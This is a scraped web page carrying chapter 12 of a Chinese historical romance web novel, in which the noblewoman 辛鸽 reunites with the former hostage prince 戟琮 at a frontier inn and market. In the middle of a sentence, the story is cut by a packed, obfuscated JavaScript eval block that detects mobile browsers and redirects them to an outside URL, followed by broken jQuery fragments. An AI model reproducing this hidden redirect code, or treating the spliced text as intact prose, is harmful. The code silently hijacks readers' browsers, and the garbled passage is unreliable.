默认冷灰
24号文字
方正启体

12. 佯演

作者:高弥药本书字数:K更新时间:
    “我岂会是山贼?”戟琮面色端凝,断然否认。他撑起一副威严架子:“我如今是西煌的节度使。”


    “是我手下人眼拙,把你的轿子当成欠债商贾的货车。”


    辛鸽闻言颔首,算是接受这个说法。两人顺着这话题又聊了一会儿。


    九年的朔风并没有磨灭他眉眼的轮廓。


    她眨了下眼。戟琮的眼瞳黑亮,她的影子细细碎碎映在其中。


    他的脸绷得紧,在她的注视下漫上薄绯,从脖颈蔓延耳廓。眼神也开始飘忽,盯着窗框外的光景发呆。


    驿舍房间一时寂然。辛鸽忽然想看看当年那点放生的情分,能稀释掉他几分恨意。


    她再开口,嗓音温软澄澈∶“你这几年,过得可还安好?”


    戟琮本以为她会追问起旧事、甚至害怕他会如何报复。


    没想到会迎来一句寻常问候。


    于是他话匣轻启。


    讲起自己被她指派的老伯送到边境,那老伯给他一匹中等马,他便骑着那匹马,一路穿越风雪,九死一生赶回西煌宫帐;亲生母亲见他活着回来,听他说起取血之事,竟欲将他重新送回南黎。


    幸好父王最终定夺留下了他。


    辛鸽震惊不已,她自幼长在钟鸣鼎食之家,熟知邦交惯例。按常理,送往强国的质子多是庶子、宗室旁支,如同抵押物。


    可戟琮竟是西煌王庭唯一的嫡子。


    “南黎那边似乎也没有风声,”他垂着眸,语气淡淡,“一个小小附属国的质子,平日像狗一样被扔在大臣家的地窖里试药,死活无人知晓,想必丢了也引不起轩然大波。”


    辛鸽觉得心里的涩意漫开。她抬手碰碰他的手背。


    玉指触到腕骨处的伤疤,神情微僵。


    戟琮也低头看去。两人目光在皮肉扭曲处相撞。那一瞬间,辛鸽分明在他脸上看到未曾化去的恨意。


    那道疤是郎季远让人按着他,反复取血留下的。彼时,孩童的血汨汨流入碗中……


    她至今无法理解,怎会有人真的相信西煌童子的血可以延年益寿。


    她松开他的手腕,不想再触碰那些沉重的过往。


    “既然是一场误会。那我和缪儿什么时候可以走呢?”


    戟琮将护腕拉下一寸,状似无意地望向窗外。“边境此时正起沙尘暴,黄沙漫天,行路艰难。怎么也得后日吧。后日风停,我亲自护送你至边境。”


    还要后日?


    辛鸽眉间生忧。她不知郎季远此刻是否急得惊动官府,又或是还在荒原中寻找。她悄悄瞥了眼戟琮,聪明地没有在他面前提起这个名字。只轻点臻首道:“好,那便叨扰两日了。”


    见她答应留下,戟琮眼里掠过一丝亮光,“饿了吧,先吃点东西。”


    他利落出门,端来一碗热气腾腾的羊肉汤羹。“趁热吃,这地方没有那么精细的吃食,但胜在牛羊肉新鲜,最是滋补。”


    浓郁的白汤上殷红枸杞点缀其间,肉香瞬间勾起辛鸽的食欲。她也着实饿了,没推脱,拿起勺子喝了几口。


    暖流下肚,她眯了眯眼,发现戟琮还站在原地,眼神灼灼。


    她递上一个询问的眼神。


    戟琮这才道:“你…爱吃这些?”


    辛鸽笑了笑,嘴角沾着点汤色,格外鲜妍生动:“爱吃。我自幼便喜爱吃些牛羊肉,饮一些牛乳,倒是和你们西煌人的口味很像。”


    戟琮似乎很是高兴,唇角怎么都压不平。


    没有比这更妥帖的了。她喜爱这里的吃食滋味,就像她天生就该属于他的土地一样。


    就在这时门外一阵嘈杂。


    “你们把我家夫人怎么了!主母!”


    戟琮眉头微皱,走过去打开一道缝。缪儿露头就见对门自己家主母正小口喝汤,而门边还站着个年轻英挺,神情难辨的男人。


    “主母!”


    缪儿推门冲入,上下检查辛鸽。


    “缪儿姐姐”戟琮轻咳一声,似笑非笑地看她:“要不要也吃些羊肉羹?”


    缪儿蓦然怔住,盯着这张脸只觉得眼熟,却怎么也和记忆里瘦小的孩子对不上号。


    辛鸽这才放下碗,轻声开口:“缪儿,他是戟琮。”


    缪儿瞪大了眼,声音都变了调,眼眶瞬间红了。


    她上去抓住戟琮的手臂,上下翻看。“让我看看,手上的伤好了没有?”


    她掀开袖子,轻抚过那道疤痕。


    “当年伤口溃烂得严重,我还以为会废了这只手……”


    辛鸽在一旁看着,心中微暖。缪儿是真的疼他。


    戟琮那时对自己倔强冷漠,从不接她的话。但对缪儿却能吐露只言片语。


    戟琮道∶“缪儿姐姐,你如今都瘦了。”


    缪儿随即哭笑不得:“你还惦记我以前胖呢?”


    戟琮含笑,“你那时总拿糕点给我吃。自己也偷偷吃,脸都吃圆了。”


    两人你一言我一语绊了两句嘴,戟琮便命人另送了一份汤羹到缪儿房中,半劝半哄地将她送了出去。


    屋内再度只剩两人。戟琮似乎并无离开的意思。


    辛鸽用完汤,觉得有些汗津津,拿帕子拭拭额角,又觉得被他盯得有些不自在,“你…还不回去歇息?”


    戟琮恍然回神,掩饰般地起身:“那你歇着。明日榷场开埠,若是风小些,我们结伴去逛逛。”


    ……


    次日,榷场喧嚣鼎沸。


    帐篷挤挤挨挨。骡马嘶鸣,讨价声此起彼伏,南来北往的人,热闹得没有空闲。


    辛鸽还是穿着墨蓝汉服,风姿绰约的气度,在粗布麻衣的摊市上宛如误入。


    戟琮拉着她在一家玉石摊前停下。拿起一对成色尚可的青玉镯,“我看这玉温润,配你正好。”


    他正欲掏钱时,却见辛鸽露出一截欺霜赛雪的肌肤。


    手腕上已然戴着一只成色极好的月白玉镯。通体透亮,将摊位上的青玉镯衬得粗糙暗淡。


    戟琮拿钱袋的手一顿,他竟忘了,她是司天监正史的夫人,用的自然是天下最好的东西。


    摊主是胡商,原本还在吹嘘自家的玉,眼尖的触及辛鸽的手腕,目光顺着名贵的玉镯,滑向柔润无骨的皓腕,反应凝滞,忘了言


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107885|195830||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    语。


    戟琮脸色阴沉,跨上去挡住辛鸽,冷剐着摊主,“走吧,这家东西次得很,配不上你。”也不等辛鸽说话,拉着她快步离开。


    他还是不死心,硬想给她买上些什么,于是又在一个回鹘胭脂摊前停下。


    “此乃回鹘特有的红烛花唇脂,不掉色。”老板见两人般配,坏笑着打趣,“任凭咱们男人怎么咂、怎么啃,那都是雷打不掉的!”


    戟琮闻言,有片刻发怔。


    辛鸽则神色疏离地扫了那老板一眼,看不出半分兴致,施施然离去。


    老板还在后面喊:“姑娘留步,再看看这玉芙膏啊,涂了脸上不生纹,保准您十年后还和如今一般的青春。”


    她脚步未停,很快消失在人流里。


    过了好一会儿,身侧才重新多出微微急促的呼吸声。


    辛鸽侧目瞥他一眼,“方才怎么落在后头了,买东西了?”


    戟琮瞥向街面,淡声道:“什么也没买。”


    话音落下太快,反倒显得刻意。


    辛鸽视线在他胸前停了停。衣襟微鼓,轮廓隐约。


    她意味不明地看了他一眼,唇角似笑非笑,什么也没说,转回头去。十七岁的青年心中有了慕艾之人,原是再寻常不过的事。


    两人并肩走了一段。


    戟琮侧头看着她,忽然低声说了句:


    “你一点都没变,还是从前的样子。”


    辛鸽脚步微顿。这话她听过许多次,只是连她自己也不明所以。时光宽待的容颜,也让她与同龄的世家夫人相处中,多了些隔阂。


    正走着,她忽然在一个粟特商人的摊位前停下。


    那人长得深目高鼻,异域风情浓厚。辛鸽不由的多看了几眼。


    戟琮睇着那比自己白净,又笑的好看的粟特男子,心里冒出一股醋意。他冷着脸,一言不发,把辛鸽拽得踉跄。


    辛鸽反手拉他,指着摊位说道:“你急着做甚?我看这家卖的宝石抹额衬你正好。”


    戟琮脚步顿住:“……给我看的?”


    “自然是给你的。”


    她要取银钱。戟琮哪里肯,却被她按住手背:“我送你,算是重逢之礼。”


    戟琮惯常以皮帛束发,浓密的长发被编成数条规整的胡辫,衬着深邃的眉目,确有一股贵族的悍利之气。她选中的抹额,姜黄色泽低调华丽,与他意气相合。


    他任由辛鸽付了银子,只觉得手里的抹额千金不换。


    “其实……”他嘟囔了一句,低不可闻,“我有这个就足够了。”


    他单手探入领口扯出绳子,坠着枚发乌的银铃。


    辛鸽定睛一瞥,心头思绪断裂。


    银铃是当年她在地窖里,从自己腕上解下来塞给他的。是她在道观随手求的平安符,并不值钱。


    可如今这枚铃铛他贴肉戴着。银铃表面光亮,显是被主人摩挲数次。


    辛鸽盯着戟琮看了几秒。


    少年眸中光华灼灼,偏执笃定。


    他的眼神,还有那枚铃铛,都让她觉得,自己仿佛正坠入一个早该了断的万劫之境。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)